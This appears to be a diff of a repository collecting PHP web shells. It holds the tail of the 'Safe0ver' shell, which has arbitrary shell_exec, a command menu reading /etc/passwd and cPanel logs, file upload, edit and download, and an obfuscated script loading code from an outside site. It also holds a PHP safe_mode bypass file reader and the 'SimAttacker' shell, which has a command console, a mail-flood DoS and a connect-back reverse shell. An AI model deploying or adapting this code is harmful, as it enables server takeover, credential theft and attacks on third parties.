$fc = @file( $file );
|
||||
while ( @list( $ln, $line ) = each( $fc ) ) {
|
||||
$contents .= htmlentities( $line ) ;
|
||||
}
|
||||
echo "<br><center><table><tr><td NOWRAP>";
|
||||
echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
|
||||
echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
|
||||
echo "<strong>EDIT FILE: </strong>$file<br>\n";
|
||||
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
|
||||
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
|
||||
echo "<input type=\"submit\" value=\"Save\">";
|
||||
echo "</form>";
|
||||
echo "</td></tr></table></center>";
|
||||
}
|
||||
elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
|
||||
$fo = fopen($file, "w");
|
||||
$wrret = fwrite($fo, stripslashes($contents));
|
||||
$clret = fclose($fo);
|
||||
}
|
||||
elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
|
||||
$downloadfile = urldecode($file);
|
||||
if (function_exists("basename"))
|
||||
$downloadto = basename ($downloadfile);
|
||||
else
|
||||
$downloadto = "download.ext";
|
||||
if (!file_exists("$downloadfile"))
|
||||
echo "The file does not exist";
|
||||
else {
|
||||
$size = @filesize("$downloadfile");
|
||||
if ($size != false) {
|
||||
$add="; size=$size";
|
||||
}
|
||||
else {
|
||||
$add="";
|
||||
}
|
||||
header("Content-Type: application/download");
|
||||
header("Content-Disposition: attachment; filename=$downloadto$add");
|
||||
$fp=fopen("$downloadfile" ,"rb");
|
||||
fpassthru($fp);
|
||||
flush();
|
||||
}
|
||||
}
|
||||
elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
|
||||
?>
|
||||
<center>
|
||||
<table>
|
||||
<tr>
|
||||
<td NOWRAP>
|
||||
Dosya Y<>kleme Sekmesine Tikladiniz !
|
||||
<br> Eger Y<>klemek istediginiz Dosya mevcut ise <20>zerine Yazilir.<br><br>
|
||||
<form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post">
|
||||
<input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
|
||||
<input type="hidden" name="cmd" value="uploadproc">
|
||||
<input type="hidden" name="dir" value="<?php echo $dir ?>">
|
||||
<input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
|
||||
<input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
|
||||
Dosya Y<>kle:<br>
|
||||
<input size="75" name="userfile" type="file"><br>
|
||||
<input type="submit" value="Y<>kle">
|
||||
</form>
|
||||
<br>
|
||||
<form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST">
|
||||
<input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
|
||||
<input type="hidden" name="dir" value="<?php echo $lastdir ?>">
|
||||
<input tabindex="0" type="submit" value="Iptal">
|
||||
</form>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</center>
|
||||
|
||||
<?php
|
||||
}
|
||||
elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
|
||||
echo "<center><table><tr><td NOWRAP>";
|
||||
if (file_exists($userfile))
|
||||
$res = copy($userfile, "$dir/$userfile_name");
|
||||
echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
|
||||
if ($res) {
|
||||
echo "Basariyla Y<>klendi \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
|
||||
echo "Y<>klenen Dosya Adi: \"$userfile_name\".\n<br>Dosya Adi: \"$userfile\".\n<br>";
|
||||
echo "Dosya Boyutu: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
|
||||
}
|
||||
else {
|
||||
echo "Y<>klenemedi...";
|
||||
}
|
||||
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\"></form></center>" ;
|
||||
echo "<br><br></td></tr></table></center>";
|
||||
}
|
||||
elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
|
||||
echo "<hr>";
|
||||
$fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
|
||||
echo spacetonbsp(@htmlentities($line))."<br>\n";
|
||||
}
|
||||
echo "<hr>";
|
||||
}
|
||||
elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
|
||||
if (function_exists('is_dir')) {
|
||||
if (is_dir("$oldfile")) {
|
||||
$objname = "Directory";
|
||||
$objident = "Directory";
|
||||
}
|
||||
else {
|
||||
$objname = "Filename";
|
||||
$objident = "file";
|
||||
}
|
||||
}
|
||||
echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center> Rename a file: </center></td></tr></table><br>\n";
|
||||
If (empty($newfile) != true) {
|
||||
echo "<center>";
|
||||
$return = @rename($oldfile, "$olddir$newfile");
|
||||
if ($return) {
|
||||
echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
|
||||
}
|
||||
else {
|
||||
if ( @file_exists("$olddir$newfile") ) {
|
||||
echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
|
||||
}
|
||||
else {
|
||||
echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
|
||||
}
|
||||
}
|
||||
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\"></form></center>" ;
|
||||
}
|
||||
else {
|
||||
$dpos = strrpos($oldfile, "/");
|
||||
if (strval($dpos)!="") {
|
||||
$olddir = substr($oldfile, 0, $dpos+1);
|
||||
}
|
||||
else {
|
||||
$olddir = "$lastdir/";
|
||||
}
|
||||
$fpos = strrpos($oldfile, "/");
|
||||
if (strval($fpos)!="") {
|
||||
$inputfile = substr($oldfile, $fpos+1);
|
||||
}
|
||||
else {
|
||||
$inputfile = "";
|
||||
}
|
||||
echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
|
||||
echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
|
||||
echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
|
||||
echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
|
||||
echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
|
||||
echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
|
||||
echo "Rename \"$oldfile\" to:<br>\n";
|
||||
echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
|
||||
echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
|
||||
echo "</td></tr></table></center>";
|
||||
}
|
||||
}
|
||||
else if ( $cmd == "con") {
|
||||
|
||||
?>
|
||||
<center>
|
||||
<table>
|
||||
<tr><td> </td>
|
||||
</tr></table>
|
||||
<?php
|
||||
}
|
||||
else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
|
||||
$isMainMenu = true;
|
||||
?>
|
||||
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td width="100%" class="border">
|
||||
<center> -<[{ <?php echo $scriptTitle ?> Main Menu }]>- </center>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<br>
|
||||
<center>
|
||||
<table border="0" NOWRAP>
|
||||
<tr>
|
||||
<td valign="top" class="silver border">
|
||||
<?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.").sp(2); ?> </td>
|
||||
<td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass <20>zelligi Eklenmis Ve B<>ylece Tahrip G<>c<EFBFBD> Y<>kseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya S<>m<EFBFBD>ren yazilimlar Icermemektedir.<p>--------------------------<p>Bypass Kullan<61>m:<b>Cat /home/evilc0der/public_html/config.php</b> Gibi Olmalidir.<br>
|
||||
</span></td>
|
||||
</tr>
|
||||
</table>
|
||||
<br><p><br>Safe Mode ByPAss<p><form method="POST">
|
||||
<p align="center"><input type="text" size="40" value="<? if($_POST['dizin'] != "") { echo $_POST['dizin']; } else echo $klasor;?>" name="dizin">
|
||||
<input type="submit" value="<22>alistir"></p>
|
||||
</form>
|
||||
<form method="POST">
|
||||
<p align="center"><select size="1" name="dizin">
|
||||
<option value="uname -a;id;pwd;hostname">Sistem Bilgisi</option>
|
||||
<option value="cat /etc/passwd">cat /etc/passwd</option>
|
||||
<option value="cat /var/cpanel/accounting.log">cat /var/cpanel/accounting.log</option>
|
||||
<option value="cat /etc/syslog.conf">cat /etc/syslog.conf</option>
|
||||
<option value="cat /etc/hosts">cat /etc/hosts</option>
|
||||
<option value="cat /etc/named.conf">cat /etc/named.conf</option>
|
||||
<option value="cat /etc/httpd/conf/httpd.conf">cat /etc/httpd/conf/httpd.conf</option>
|
||||
<option value="netstat -an | grep -i listen">A<>ik Portlar</option>
|
||||
<option value="ps -aux"><3E>alisan Uygulamalar</option>
|
||||
</select> <input type="submit" value="<22>alistir"></p>
|
||||
</form>
|
||||
------------------------------------------------------------------------------------<p>
|
||||
<?
|
||||
$evilc0der=$_POST['dizin'];
|
||||
if($_POST['dizin'])
|
||||
{
|
||||
ini_restore("safe_mode");
|
||||
ini_restore("open_basedir");
|
||||
$safemodgec = shell_exec($evilc0der);
|
||||
echo "<textarea rows=17 cols=85>$safemodgec</textarea>";
|
||||
}
|
||||
?>
|
||||
<Script Language='Javascript'>
|
||||
<!-- HTML Encryption provided by iWEBTOOL.com -->
|
||||
<!--
|
||||
document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%63%30%64%65%72%2E%6F%72%67%2F%6C%6F%67%7A%2F%79%61%7A%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E'));
|
||||
//-->
|
||||
</Script>
|
||||
</center>
|
||||
<br>
|
||||
<?php
|
||||
}
|
||||
|
||||
if ($cmd != "downl") {
|
||||
if ( $isMainMenu != true) {
|
||||
?>
|
||||
|
||||
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td width="100%" style="class="silver border">
|
||||
<center><strong>
|
||||
<?php echo buildUrl("<font color=\"navy\">[ Main Menu ] </font>", "cmd=&dir="); ?>
|
||||
|
||||
<?php echo buildUrl("<font color=\"navy\">[ R00T ] </font>", "cmd=dir&dir=."); ?>
|
||||
</strong></center>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<br>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
<table width=100% border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td width="100%" class="silver border">
|
||||
<center> <?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?> </center>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<?php
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
89
138shell/S/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.txt
Normal file
89
138shell/S/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.txt
Normal file
@@ -0,0 +1,89 @@
|
||||
<head>
|
||||
<meta http-equiv="Content-Language" content="en-us">
|
||||
</head>
|
||||
<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style>
|
||||
<p align="center"><b><font face="Webdings" size="6" color="#FF0000">!</font><font face="Verdana" size="5" color="#DADADA"><a href="? "><span style="color: #DADADA; text-decoration: none; font-weight:700"><font face="Times New Roman">Safe
|
||||
Mode Shell v1.0</font></span></a></font><font face="Webdings" size="6" color="#FF0000">!</font></b></p>
|
||||
<form method="POST">
|
||||
<p align="center"><input type="text" name="file" size="20">
|
||||
<input type="submit" value="Open" name="B1"></p>
|
||||
</form>
|
||||
<form method="POST">
|
||||
<p align="center"><select size="1" name="file">
|
||||
<option value="/etc/passwd">Get /etc/passwd</option>
|
||||
<option value="/var/cpanel/accounting.log">View cpanel logs</option>
|
||||
<option value="/etc/syslog.conf">Syslog configuration</option>
|
||||
<option value="/etc/hosts">Hosts</option>
|
||||
</select> <input type="submit" value="Go" name="B1"></p>
|
||||
</form>
|
||||
|
||||
|
||||
<?php
|
||||
/*
|
||||
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
|
||||
by PHP Emperor<xb5@hotmail.com>
|
||||
*/
|
||||
|
||||
echo "<head><title>Safe Mode Shell</title></head>";
|
||||
|
||||
|
||||
|
||||
|
||||
$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp
|
||||
|
||||
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
|
||||
{
|
||||
$safemode = true;
|
||||
$hsafemode = "<font color=\"red\">ON (secure)</font>";
|
||||
}
|
||||
else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
|
||||
echo("Safe-mode: $hsafemode");
|
||||
$v = @ini_get("open_basedir");
|
||||
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
|
||||
else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
|
||||
echo("<br>");
|
||||
echo("Open base dir: $hopenbasedir");
|
||||
echo("<br>");
|
||||
echo "Disable functions : <b>";
|
||||
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
|
||||
$free = @diskfreespace($dir);
|
||||
if (!$free) {$free = 0;}
|
||||
$all = @disk_total_space($dir);
|
||||
if (!$all) {$all = 0;}
|
||||
$used = $all-$free;
|
||||
$used_percent = @round(100/($all/$free),2);
|
||||
|
||||
echo "<PRE>\n";
|
||||
if(empty($file)){
|
||||
if(empty($_GET['file'])){
|
||||
if(empty($_POST['file'])){
|
||||
die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n <B><CENTER><FONT
|
||||
COLOR=\"RED\">PHP Emperor
|
||||
xb5@hotmail.com</FONT></CENTER></B>");
|
||||
} else {
|
||||
$file=$_POST['file'];
|
||||
}
|
||||
} else {
|
||||
$file=$_GET['file'];
|
||||
}
|
||||
}
|
||||
|
||||
$temp=tempnam($tymczas, "cx");
|
||||
|
||||
if(copy("compress.zlib://".$file, $temp)){
|
||||
$zrodlo = fopen($temp, "r");
|
||||
$tekst = fread($zrodlo, filesize($temp));
|
||||
fclose($zrodlo);
|
||||
echo "<B>--- Start File ".htmlspecialchars($file)."
|
||||
-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
|
||||
".htmlspecialchars($file)." ---------------\n";
|
||||
unlink($temp);
|
||||
die("\n<FONT COLOR=\"RED\"><B>File
|
||||
".htmlspecialchars($file)." has been already loaded. PHP Emperor <xb5@hotmail.com>
|
||||
;]</B></FONT>");
|
||||
} else {
|
||||
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
|
||||
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
|
||||
access.</CENTER></FONT>");
|
||||
}
|
||||
?>
|
||||
27
138shell/S/Server Variables.asp.txt
Normal file
27
138shell/S/Server Variables.asp.txt
Normal file
@@ -0,0 +1,27 @@
|
||||
<%
|
||||
Dim Vars
|
||||
%>
|
||||
|
||||
<p> </p>
|
||||
<p> </p>
|
||||
<p><font size="2" face="Arial, Helvetica, sans-serif"><strong>A list of all server
|
||||
variables : </strong> </font></p>
|
||||
<p><BR>
|
||||
<BR>
|
||||
</p>
|
||||
<TABLE width="75%" BORDER=1 align="center" cellpadding="3" cellspacing="0">
|
||||
<TR>
|
||||
<TD width="149"><p><font size="2" face="Arial, Helvetica, sans-serif"><B>Server
|
||||
Variable Name</B></font></p>
|
||||
</TD>
|
||||
<TD width="333"><p><font size="2" face="Arial, Helvetica, sans-serif"><B>Server
|
||||
Variable Value</B></font></p>
|
||||
</TD>
|
||||
</TR>
|
||||
<% For Each Vars In Request.ServerVariables %>
|
||||
<TR>
|
||||
<TD><FONT SIZE="1" face="Arial, Helvetica, sans-serif"><%= Vars %></FONT></TD>
|
||||
<TD><FONT SIZE="1" face="Arial, Helvetica, sans-serif"><%= Request.ServerVariables(Vars) %> </FONT></TD>
|
||||
</TR>
|
||||
<% Next %>
|
||||
</TABLE>
|
||||
378
138shell/S/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.txt
Normal file
378
138shell/S/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.txt
Normal file
@@ -0,0 +1,378 @@
|
||||
<?
|
||||
//download Files Code
|
||||
$fdownload=$_GET['fdownload'];
|
||||
if ($fdownload <> "" ){
|
||||
// path & file name
|
||||
$path_parts = pathinfo("$fdownload");
|
||||
$entrypath=$path_parts["basename"];
|
||||
$name = "$fdownload";
|
||||
$fp = fopen($name, 'rb');
|
||||
header("Content-Disposition: attachment; filename=$entrypath");
|
||||
header("Content-Length: " . filesize($name));
|
||||
fpassthru($fp);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta http-equiv="Content-Language" content="en-us">
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
|
||||
<title>SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend </title>
|
||||
<style>
|
||||
<!--
|
||||
body { font-family: Tahoma; font-size: 8pt }
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<?
|
||||
error_reporting(E_ERROR | E_WARNING | E_PARSE);
|
||||
|
||||
//File Edit
|
||||
$fedit=$_GET['fedit'];
|
||||
if ($fedit <> "" ){
|
||||
$fedit=realpath($fedit);
|
||||
$lines = file($fedit);
|
||||
echo "<form action='' method='POST'>";
|
||||
echo "<textarea name='savefile' rows=30 cols=80>" ;
|
||||
foreach ($lines as $line_num => $line) {
|
||||
echo htmlspecialchars($line);
|
||||
}
|
||||
echo "</textarea>
|
||||
<input type='text' name='filepath' size='60' value='$fedit'>
|
||||
<input type='submit' value='save'></form>";
|
||||
$savefile=$_POST['savefile'];
|
||||
$filepath=realpath($_POST['filepath']);
|
||||
if ($savefile <> "")
|
||||
{
|
||||
$fp=fopen("$filepath","w+");
|
||||
fwrite ($fp,"") ;
|
||||
fwrite ($fp,$savefile) ;
|
||||
fclose($fp);
|
||||
echo "<script language='javascript'> close()</script>";
|
||||
}
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
<?
|
||||
// CHmod - PRimission
|
||||
$fchmod=$_GET['fchmod'];
|
||||
if ($fchmod <> "" ){
|
||||
$fchmod=realpath($fchmod);
|
||||
echo "<center><br>
|
||||
chmod for :$fchmod<br>
|
||||
<form method='POST' action=''><br>
|
||||
Chmod :<br>
|
||||
<input type='text' name='chmod0' ><br>
|
||||
<input type='submit' value='change chmod'>
|
||||
</form>";
|
||||
$chmod0=$_POST['chmod0'];
|
||||
if ($chmod0 <> ""){
|
||||
chmod ($fchmod , $chmod0);
|
||||
}else {
|
||||
echo "primission Not Allow change Chmod";
|
||||
}
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
|
||||
<div align="center">
|
||||
<table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502">
|
||||
<tr>
|
||||
<td style="border: 1px dotted #FFCC66" valign="top" rowspan="2">
|
||||
<p align="center"><b>
|
||||
<font face="Tahoma" size="2"><br>
|
||||
</font>
|
||||
<font color="#D2D200" face="Tahoma" size="2">
|
||||
<span style="text-decoration: none">
|
||||
<font color="#000000">
|
||||
<a href="?id=fm&dir=<?
|
||||
echo getcwd();
|
||||
?>
|
||||
">
|
||||
<span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p>
|
||||
<p align="center"><b><a href="?id=cmd">
|
||||
<span style="text-decoration: none">
|
||||
<font face="Tahoma" size="2" color="#000000">
|
||||
CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p>
|
||||
<p align="center"><b><a href="?id=fake-mail">
|
||||
<font face="Tahoma" size="2" color="#000000">
|
||||
<span style="text-decoration: none">Fake mail</span></font></a></b></p>
|
||||
<p align="center"><b>
|
||||
<font face="Tahoma" size="2" color="#000000">
|
||||
<a href="?id=cshell">
|
||||
<span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p>
|
||||
<p align="center"><b>
|
||||
<font color="#000000" face="Tahoma" size="2">
|
||||
<a href="?id=">
|
||||
<span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p>
|
||||
<p> <p align="center"> </td>
|
||||
<td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center">
|
||||
<?
|
||||
//*******************************************************
|
||||
//Start Programs About US
|
||||
$id=$_GET['id'];
|
||||
|
||||
if ($id=="") {
|
||||
echo "
|
||||
<font face='Arial Black' color='#808080' size='1'>
|
||||
***************************************************************************<br>
|
||||
Iranian Hackers : WWW.SIMORGH-EV.COM <br>
|
||||
Programer : Hossein Asgary <br>
|
||||
Note : SimAttacker Have copyright from simorgh security Group <br>
|
||||
please : If you find bug or problems in program , tell me by : <br>
|
||||
e-mail : admin(at)simorgh-ev(dot)com<br>
|
||||
Enjoy :) [Only 4 Best Friends ] <br>
|
||||
***************************************************************************</font></span></p>
|
||||
";
|
||||
|
||||
echo "<font color='#333333' size='2'>OS :". php_uname();
|
||||
echo "<br>IP :".
|
||||
($_SERVER['REMOTE_ADDR']);
|
||||
echo "</font>";
|
||||
|
||||
|
||||
}
|
||||
//************************************************************
|
||||
//cmd-command line
|
||||
$cmd=$_POST['cmd'];
|
||||
if($id=="cmd"){
|
||||
$result=shell_exec("$cmd");
|
||||
echo "<br><center><h3> CMD ExeCute </h3></center>" ;
|
||||
echo "<center>
|
||||
<textarea rows=20 cols=70 >$result</textarea><br>
|
||||
<form method='POST' action=''>
|
||||
<input type='hidden' name='id' value='cmd'>
|
||||
<input type='text' size='80' name='cmd' value='$cmd'>
|
||||
<input type='submit' value='cmd'><br>";
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
//********************************************************
|
||||
|
||||
//fake mail = Use victim server 4 DOS - fake mail
|
||||
if ( $id=="fake-mail"){
|
||||
error_reporting(0);
|
||||
echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ;
|
||||
echo "<center><form method='post' action=''>
|
||||
Victim Mail :<br><input type='text' name='to' ><br>
|
||||
Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br>
|
||||
Comments:
|
||||
<br>
|
||||
<textarea rows='10' cols=50 name='Comments' ></textarea><br>
|
||||
<input type='submit' value='Send Mail Strm ' >
|
||||
</form></center>";
|
||||
//send Storm Mail
|
||||
$to=$_POST['to'];
|
||||
$nom=$_POST['nom'];
|
||||
$Comments=$_POST['Comments'];
|
||||
if ($to <> "" ){
|
||||
for ($i = 0; $i < $nom ; $i++){
|
||||
$from = rand (71,1020000000)."@"."Attacker.com";
|
||||
$subject= md5("$from");
|
||||
mail($to,$subject,$Comments,"From:$from");
|
||||
echo "$i is ok";
|
||||
}
|
||||
echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>";
|
||||
}
|
||||
}
|
||||
//********************************************************
|
||||
|
||||
//Connect Back -Firewall Bypass
|
||||
if ($id=="cshell"){
|
||||
echo "<br>Connect back Shell , bypass Firewalls<br>
|
||||
For user :<br>
|
||||
nc -l -p 1019 <br>
|
||||
<hr>
|
||||
<form method='POST' action=''><br>
|
||||
Your IP & BindPort:<br>
|
||||
<input type='text' name='mip' >
|
||||
<input type='text' name='bport' size='5' value='1019'><br>
|
||||
<input type='submit' value='Connect Back'>
|
||||
</form>";
|
||||
$mip=$_POST['mip'];
|
||||
$bport=$_POST['bport'];
|
||||
if ($mip <> "")
|
||||
{
|
||||
$fp=fsockopen($mip , $bport , $errno, $errstr);
|
||||
if (!$fp){
|
||||
$result = "Error: could not open socket connection";
|
||||
}
|
||||
else {
|
||||
fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n");
|
||||
while(!feof($fp)){
|
||||
fputs ($fp," bash # ");
|
||||
$result= fgets ($fp, 4096);
|
||||
$message=`$result`;
|
||||
fputs ($fp,"--> ".$message."\n");
|
||||
}
|
||||
fclose ($fp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//********************************************************
|
||||
//Spy File Manager
|
||||
$homedir=getcwd();
|
||||
$dir=realpath($_GET['dir'])."/";
|
||||
if ($id=="fm"){
|
||||
echo "<br><b><p align='left'> Home:</b> $homedir
|
||||
<b>
|
||||
<form action='' method='GET'>
|
||||
Path:</b>
|
||||
<input type='hidden' name='id' value='fm'>
|
||||
<input type='text' name='dir' size='80' value='$dir'>
|
||||
<input type='submit' value='dir'>
|
||||
</form>
|
||||
<br>";
|
||||
|
||||
echo "
|
||||
|
||||
<div align='center'>
|
||||
|
||||
<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td>
|
||||
<td height='28' width='82' align='center'>
|
||||
<font color='#000080' size='2'><b>Size KByte</b></font></td>
|
||||
<td height='28' width='83' align='center'>
|
||||
<font color='#008000' size='2'><b>Download</b></font></td>
|
||||
<td height='28' width='66' align='center'>
|
||||
<font color='#FF9933' size='2'><b>Edit</b></font></td>
|
||||
<td height='28' width='75' align='center'>
|
||||
<font color='#999999' size='2'><b>Chmod</b></font></td>
|
||||
<td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td>
|
||||
</tr>";
|
||||
if (is_dir($dir)){
|
||||
if ($dh=opendir($dir)){
|
||||
while (($file = readdir($dh)) !== false) {
|
||||
$fsize=round(filesize($dir . $file)/1024);
|
||||
|
||||
|
||||
echo "
|
||||
<tr>
|
||||
<th width='250' height='22' align='left' nowrap>";
|
||||
if (is_dir($dir.$file))
|
||||
{
|
||||
echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'> $file <font color='#FF0000' size='1'>dir</font>";
|
||||
}
|
||||
else {
|
||||
echo "<font size='2' color='#666666'> $file ";
|
||||
}
|
||||
echo "</a></font></th>
|
||||
<td width='113' align='center' nowrap><font color='#000080' size='2'><b>";
|
||||
if (is_file($dir.$file))
|
||||
{
|
||||
echo "$fsize";
